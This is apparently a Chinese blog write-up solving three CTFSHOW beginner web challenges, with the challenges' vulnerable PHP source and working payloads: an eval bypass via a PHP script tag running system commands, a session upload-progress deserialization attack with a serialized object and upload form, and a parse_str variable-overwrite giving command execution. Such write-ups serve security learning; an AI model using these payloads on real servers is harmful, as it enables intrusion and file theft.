持续创作,加速成长!这是我参与「掘金日新计划 · 10 月更文挑战」的第14天,点击查看活动详情
引文
前几天做了几个CTFSHOW新人杯的题目,感觉题目还挺好玩的,于是写了几个题目的WP供大家参考。
easy_eval
WEB签到题就很少一段代码审计,简单分析一下:
<?php
error_reporting(0);
highlight_file(__FILE__);
$code = $_POST['code'];
if(isset($code)){
$code = str_replace("?","",$code);
eval("?>".$code);
}
让我们POST传参code,在eval处会存在?>去闭合我们的输入,而且传参不能有?号,学到一个新套路,既然PHP标签不能用了,我们尝试用JS标签去写PHP标签。
<script language="php"> system('ls'); </script>
找到flag文件:
替换下命令查flag:
code=<script language="php"> system('cat /f1agaaa'); </script>
剪刀石头布
hint:我为啥要ini_set来着 hint2:php.ini配置的稀烂
进入题目环境是一个输入框:
设计的一个小游戏,让我们输入名字进入游戏,游戏是一个常见的剪刀石头布,得到flag的要求是:You need to win 100 rounds in a row to get flag.
我没有试100回会不会给我们flag,因为题目有个源码链接,我们分析一下源码:
<?php
ini_set('session.serialize_handler', 'php');
if(isset($_POST['source'])){
highlight_file(__FILE__);
phpinfo();
die();
}
error_reporting(0);
include "flag.php";
class Game{
public $log,$name,$play;
public function __construct($name){
$this->name = $name;
$this->log = '/tmp/'.md5($name).'.log';
}
public function play($user_input,$bot_input){
$output = array('Rock'=>'✌🏻','Paper'=>'✊🏻','Scissors'=>'✋🏻');
$this->play = $user_input.$bot_input;
if($this->play == "RockRock" || $this->play == "PaperPaper" || $this->play == "ScissorsScissors"){
file_put_contents($this->log,"<div>".$output[$user_input].' VS '.$output[$bot_input]." Draw</div>\n",FILE_APPEND);
return "Draw";
} else if($this->play == "RockPaper" || $this->play == "PaperScissors" || $this->play == "ScissorsRock"){
file_put_contents($this->log,"<div>".$output[$user_input].' VS '.$output[$bot_input]." You Lose</div>\n",FILE_APPEND);
return "You Lose";
} else if($this->play == "RockScissors" || $this->play == "PaperRock" || $this->play == "ScissorsPaper"){
file_put_contents($this->log,"<div>".$output[$user_input].' VS '.$output[$bot_input]." You Win</div>\n",FILE_APPEND);
return "You Win";
}
}
public function __destruct(){
echo "<h5>Game History</h5>\n";
echo "<div class='all_output'>\n";
echo file_get_contents($this->log);
echo "</div>";
}
}
?>
在源码下面还有一个phpinfo的PHP信息界面,仔细分析一下发现没有设置自动删除session。
考虑可能利用PHP_SESSION_UPLOAD_PROGRESS来写入数据,回到源码:第一次看时便注意到了:
public function __destruct(){
echo "<h5>Game History</h5>\n";
echo "<div class='all_output'>\n";
echo file_get_contents($this->log);
echo "</div>";
我们对象销毁时会调用上面这个方法,方法里面有一个包含函数,是不是我们可以将变量log设置为flag路径,然后利用PHP_SESSION_UPLOAD_PROGRESS来写入数据,从而得到flag。
对于序列化字符串的构造,可以参考SESSION反序列化里面的内容来构造。由phpinfo得知处于php模式,|分割了键名和键值,php会反序列化|后面的键值。
<?php
class Game{
public $log;
public function __construct()
{
$this->log = "/var/www/html/flag.php";
}
}
$xino = new Game();
echo serialize($xino);
?>
运行得到:
O:4:"Game":1:{s:3:"log";s:22:"/var/www/html/flag.php";}
现在只需利用PHP_SESSION_UPLOAD_PROGRESS来写入数据,利用之前条件竞争的上传脚本。
<!doctype html>
<html>
<body>
<form action="http://67755fe0-050a-488b-a63b-8e78e826e4c1.challenge.ctf.show/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="xino" />
<input type="file" name="file" />
<input type="submit" />
</form>
</body>
</html>
我们上传文件,然后抓包修改文件名发包:
repairman
mode=0,得到源码。
Your mode is the guest!hello,the repairman! <?php
error_reporting(0);
session_start();
$config['secret'] = Array();
include 'config.php';
if(isset($_COOKIE['secret'])){
$secret =& $_COOKIE['secret'];
}else{
$secret = Null;
}
if(empty($mode)){
$url = parse_url($_SERVER['REQUEST_URI']);
parse_str($url['query']);
if(empty($mode)) {
echo 'Your mode is the guest!';
}
}
function cmd($cmd){
global $secret;
echo 'Sucess change the ini!The logs record you!';
exec($cmd);
$secret['secret'] = $secret;
$secret['id'] = $_SERVER['REMOTE_ADDR'];
$_SESSION['secret'] = $secret;
}
if($mode == '0'){
//echo var_dump($GLOBALS);
if($secret === md5('token')){
$secret = md5('test'.$config['secret']);
}
switch ($secret){
case md5('admin'.$config['secret']):
echo 999;
cmd($_POST['cmd']);
case md5('test'.$config['secret']):
echo 666;
$cmd = preg_replace('/[^a-z0-9]/is', 'hacker',$_POST['cmd']);
cmd($cmd);
default:
echo "hello,the repairman!";
highlight_file(__FILE__);
}
}elseif($mode == '1'){
echo '</br>hello,the user!We may change the mode to repaie the server,please keep it unchanged';
}else{
header('refresh:5;url=index.php?mode=1');
exit;
}
switch选项中我们需要进入admin的case,要让config['secret']).而我们可以直接覆盖$config['secret']的值,本题考查的是:
if(empty($mode)){
$url = parse_url($_SERVER['REQUEST_URI']);
parse_str($url['query']);
if(empty($mode)) {
echo 'Your mode is the guest!';
}
存在变量赋该漏洞,str_parse能够覆盖变量,payload如下:
GET:
index.php?mode=0&config[secret]=youyou&secret=7f258ef6c9c746f0418e1730a3b78046
POST:
cmd=cat config.php>1.txt
访问1.txt之后得到flag。
结语
今天复现了WEB部分题目,之后还会发一下MISC的题目,发的这些都不是很难的,有兴趣的小伙伴可以去官网尝试复现,之后也会带来MISC部分的复现WP。